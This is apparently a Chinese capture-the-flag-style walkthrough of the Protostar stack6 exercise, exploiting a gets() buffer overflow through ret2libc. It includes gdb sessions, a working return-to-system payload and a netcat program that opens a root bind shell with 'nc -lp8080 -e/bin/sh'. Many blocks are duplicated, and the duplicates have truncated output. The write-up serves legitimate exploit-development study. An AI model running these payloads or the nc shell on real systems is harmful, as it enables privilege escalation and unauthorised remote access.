About
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload (
objdump -s will help with this), or
ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
Source code
#include
#include
#include
#include
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
#include
#include
#include
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
果然后面的题越来越有挑战。该题总的思路是一样的:通过修改函数的RET地址来跳到需要执行代码的地方。但是这里多了个限制就是程序通过__builtin_return_address(0)先获得RET地址,如果RET以0xbf开头的话将执行_exit(1),因为buffer的地址都在0xbf******当中,因此我们无法直接将要执行的代码放在buffer中。
如何绕过这个限制呢?……方法就是找一个非以0xbf地址开头的就可以了,通过查找资料得知system(),exit()函数就是我们所需要找的东东。
第一步仍是先要找到RET在我们输入buffer后的相对地址在哪里,方法跟之前一样。。。
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484: push %ebp
0x08048485: mov %esp,%ebp
0x08048487: sub $0x68,%esp
0x0804848a: mov $0x80485d0,%eax
0x0804848f: mov %eax,(%esp)
0x08048492: call 0x80483c0
0x08048497: mov 0x8049720,%eax
0x0804849c: mov %eax,(%esp)
0x0804849f: call 0x80483b0
0x080484a4: lea -0x4c(%ebp),%eax
0x080484a7: mov %eax,(%esp)
0x080484aa: call 0x8048380
0x080484af: mov 0x4(%ebp),%eax
0x080484b2: mov %eax,-0xc(%ebp)
0x080484b5: mov -0xc(%ebp),%eax
0x080484b8: and $0xbf000000,%eax
0x080484bd: cmp $0xbf000000,%eax
0x080484c2: jne 0x80484e4
0x080484c4: mov $0x80485e4,%eax
0x080484c9: mov -0xc(%ebp),%edx
0x080484cc: mov %edx,0x4(%esp)
0x080484d0: mov %eax,(%esp)
---Type to continue, or q to quit---
0x080484d3: call 0x80483c0
0x080484d8: movl $0x1,(%esp)
0x080484df: call 0x80483a0 <_exit@plt>
0x080484e4: mov $0x80485f0,%eax
0x080484e9: lea -0x4c(%ebp),%edx
0x080484ec: mov %edx,0x4(%esp)
0x080484f0: mov %eax,(%esp)
0x080484f3: call 0x80483c0
0x080484f8: leave
0x080484f9: ret
End of assembler dump.
(gdb) b *getpath+116
Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x/40x $esp
0xbffff740: 0x080485f0 0xbffff75c 0xb7fe1b28 0x00000001
0xbffff750: 0x00000000 0x00000001 0xb7fff8f8
0x61616161
0xbffff760: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff770: 0x61616161 0x61616161 0x61616161 0x08040061
0xbffff780: 0xb7ff1040 0x080496ec 0xbffff7b8 0x08048539
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048520 0x08048505
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0xbffff7b8 0x08048505
0xbffff7b0: 0x08048520 0x00000000 0xbffff838 0xb7eadc76
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x080482a1
(gdb) x/2x $ebp
0xbffff7a8: 0xbffff7b8 0x08048505
(gdb) p 0xbffff7a8+4-0xbffff75c
$1 = 80
(gdb)
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484
0x08048485
0x08048487
0x0804848a
0x0804848f
0x08048492
0x08048497
0x0804849c
0x0804849f
0x080484a4
0x080484a7
0x080484aa
0x080484af
0x080484b2
0x080484b5
0x080484b8
0x080484bd
0x080484c2
0x080484c4
0x080484c9
0x080484cc
0x080484d0
---Type
0x080484d3
0x080484d8
0x080484df
0x080484e4
0x080484e9
0x080484ec
0x080484f0
0x080484f3
0x080484f8
0x080484f9
End of assembler dump.
(gdb) b *getpath+116
Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x/40x $esp
0xbffff740: 0x080485f0 0xbffff75c 0xb7fe1b28 0x00000001
0xbffff750: 0x00000000 0x00000001 0xb7fff8f8
0xbffff760: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff770: 0x61616161 0x61616161 0x61616161 0x08040061
0xbffff780: 0xb7ff1040 0x080496ec 0xbffff7b8 0x08048539
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048520 0x08048505
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0xbffff7b8 0x08048505
0xbffff7b0: 0x08048520 0x00000000 0xbffff838 0xb7eadc76
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x080482a1
(gdb) x/2x $ebp
0xbffff7a8: 0xbffff7b8 0x08048505
(gdb) p 0xbffff7a8+4-0xbffff75c
$1 = 80
(gdb)
EIP距离开始输入的距离是80
第二步是获得system,exit函数的地址
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b *main
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26
26 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) p system
$1 = {} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {} 0xb7ec60c0 <*__GI_exit>
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b *main
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26
26 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) p system
$1 = {
(gdb) p exit
$2 = {
现在RET的位置、system、exit都具备了。因为system的地址是0xb7开头能够绕过程序中的if语句,剩下只需要给system传递执行参数即可,这里把要执行的命令(whoami)放在环境变量里
user@protostar:/opt/protostar/bin$ export TEST="whoami"
user@protostar:/opt/protostar/bin$ ~/getenvaddr TEST ./stack6
TEST will be at 0xbfffff2e
user@protostar:/opt/protostar/bin$ cat /home/user/getenvaddr.c
#include
#include
#include
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s \n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
user@protostar:/opt/protostar/bin$ ~/getenvaddr TEST ./stack6
TEST will be at 0xbfffff2e
user@protostar:/opt/protostar/bin$ cat /home/user/getenvaddr.c
#include
#include
#include
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
最后我们所需要的东西都具备了,构造执行代码应该是长这样的 <'a'*80><
ENV_VAR_ADDRESS
>
user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\xb0\xff\xec\xb7\xc0\x60\xec\xb7\x2e\xff\xff\xbf"' | ./stack6
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆.
root
user@protostar:/opt/protostar/bin$
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆.
root
user@protostar:/opt/protostar/bin$
因此很多童鞋想是不是需要更改TEST的值即可执行任意代码了?很高兴地告诉你,答案是否定的,具体的请man system。。。
但是如果拿到一个shell呢?这里有另外一个方法:就是通过nc映射端口。
user@protostar:/opt/protostar/bin$ cat /home/user/netcat.c
#include
int main(int argc, char **argv, char **envp){
setuid(0);
setgid(0);
char *args[] = { "nc","-lp8080","-e/bin/sh",(char *)0};
execve("/bin/nc", args, envp);
}
#include
int main(int argc, char **argv, char **envp){
setuid(0);
setgid(0);
char *args[] = { "nc","-lp8080","-e/bin/sh",(char *)0};
execve("/bin/nc", args, envp);
}
然后在环境变量中添加编辑后可执行文件
user@protostar:/opt/protostar/bin$ export RUN="///////////////////////////home/user/netcat"
user@protostar:/opt/protostar/bin$ ~/getenvaddr RUN ./stack6
RUN will be at 0xbfffffbc
user@protostar:/opt/protostar/bin$ ~/getenvaddr RUN ./stack6
RUN will be at 0xbfffffbc
同理,执行后程序处理监听状态。。。
user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\xb0\xff\xec\xb7\xc0\x60\xec\xb7\xbc\xff\xff\xbf"' | ./stack6
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆
在另外一台机器连接,测试成功。。。